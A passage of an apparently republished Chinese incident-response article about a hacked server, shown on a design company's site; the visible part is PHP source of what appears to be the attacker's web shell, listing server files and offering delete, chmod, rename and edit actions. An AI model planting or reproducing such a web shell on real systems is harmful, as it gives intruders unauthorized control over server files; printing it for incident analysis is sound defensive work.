经典案例
  • 妙视界
  • 广州市坊森室内装饰有限公司
  • ArtsRouge
  • 香港·维西·创意设计机构
  • 阳春冠军联盟
  • Management
  • 爱艺术咖啡会所

惨遭黑客入侵,记一次服务器被攻击的应急行动!(4)

发布于:2017-12-06 19:02来源:网络整理 作者:jimmoo 点击:

   echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">

  •    <tr class="first">

  •        <td><center>Name</center></td>

  •        <td><center>Size</center></td>

  •        <td><center>Permissions</center></td>

  •        <td><center>Options</center></td>

  •    </tr>';

  •    foreach($scandir as $dir){

  •        if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;

  •        echo "<tr>

  •        <td><a href="?path=$path/$dir">$dir</a></td>

  •        <td><center>--</center></td>

  •        <td><center>";

  •        if(is_writable("$path/$dir")) echo '<font color="green">';

  •        elseif(!is_readable("$path/$dir")) echo '<font color="red">';

  •        echo perms("$path/$dir");

  •        if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';


  •        echo "</center></td>

  •        <td><center><form method="POST" action="?option&path=$path">

  •        <select name="opt">

  •    <option value=""></option>

  •        <option value="delete">Delete</option>

  •        <option value="chmod">Chmod</option>

  •        <option value="rename">Rename</option>

  •        </select>

  •        <input type="hidden" name="type" value="dir">

  •        <input type="hidden" name="name" value="$dir">

  •        <input type="hidden" name="path" value="$path/$dir">

  •        <input type="submit" value=">" />

  •        </form></center></td>

  •        </tr>";

  •    }

  •    echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';

  •    foreach($scandir as $file){

  •        if(!is_file("$path/$file")) continue;

  •        $size = filesize("$path/$file")/1024;

  •        $size = round($size,3);

  •        if($size >= 1024){

  •            $size = round($size/1024,2).' MB';

  •        }else{

  •            $size = $size.' KB';

  •        }

  •        echo "<tr>

  •        <td><a href="?filesrc=$path/$file&path=$path">$file</a></td>

  •        <td><center>".$size."</center></td>

  •        <td><center>";

  •        if(is_writable("$path/$file")) echo '<font color="green">';

  •        elseif(!is_readable("$path/$file")) echo '<font color="red">';

  •        echo perms("$path/$file");

  •        if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';

  •        echo "</center></td>

  •        <td><center><form method="POST" action="?option&path=$path">

  •        <select name="opt">

  •    <option value=""></option>

  •        <option value="delete">Delete</option>

  •        <option value="chmod">Chmod</option>

  •        <option value="rename">Rename</option>

  •        <option value="edit">Edit</option>

  •        </select>

  •        <input type="hidden" name="type" value="file">

  •        <input type="hidden" name="name" value="$file">

  •        <input type="hidden" name="path" value="$path/$file">

  •        <input type="submit" value=">" />

  •        </form></center></td>

  •        </tr>";

  •    }

  •    echo '</table>

  •    </div>';

  • }

  • echo '<br />Man Man <br />

  • </BODY>

  • </HTML>';

  • function perms($file){

  •    $perms = fileperms($file);

  • if (($perms & 0xC000) == 0xC000) {

  •    // Socket

  •    $info = 's';

  • } elseif (($perms & 0xA000) == 0xA000) {

  •    // Symbolic Link

  •    $info = 'l';

  • } elseif (($perms & 0x8000) == 0x8000) {

  •    // Regular

  •    $info = '-';

  • } elseif (($perms & 0x6000) == 0x6000) {

  •    // Block special

  •    $info = 'b';

  • } elseif (($perms & 0x4000) == 0x4000) {

  •    // Directory

  •    $info = 'd';

  • } elseif (($perms & 0x2000) == 0x2000) {

  •    // Character special

  •    $info = 'c';

  • } elseif (($perms & 0x1000) == 0x1000) {

  •    // FIFO pipe

  •    $info = 'p';

  • } else {

  •    // Unknown

  •    $info = 'u';

  • }

  • // Owner

  • $info .= (($perms & 0x0100) ? 'r' : '-');

  • $info .= (($perms & 0x0080) ? 'w' : '-');

  • $info .= (($perms & 0x0040) ?

  •            (($perms & 0x0800) ? 's' : 'x' ) :

  •            (($perms & 0x0800) ? 'S' : '-'));

  • // Group

  • $info .= (($perms & 0x0020) ? 'r' : '-');

  • $info .= (($perms & 0x0010) ? 'w' : '-');

  • $info .= (($perms & 0x0008) ?

  •            (($perms & 0x0400) ? 's' : 'x' ) :

  •            (($perms & 0x0400) ? 'S' : '-'));

  • // World

  • $info .= (($perms & 0x0004) ? 'r' : '-');

  • $info .= (($perms & 0x0002) ? 'w' : '-');

  • $info .= (($perms & 0x0001) ?

  •            (($perms & 0x0200) ? 't' : 'x' ) :

  •            (($perms & 0x0200) ? 'T' : '-'));

  •    return $info;

  • }

  • ?>


  • ------分隔线----------------------------
    ------分隔线----------------------------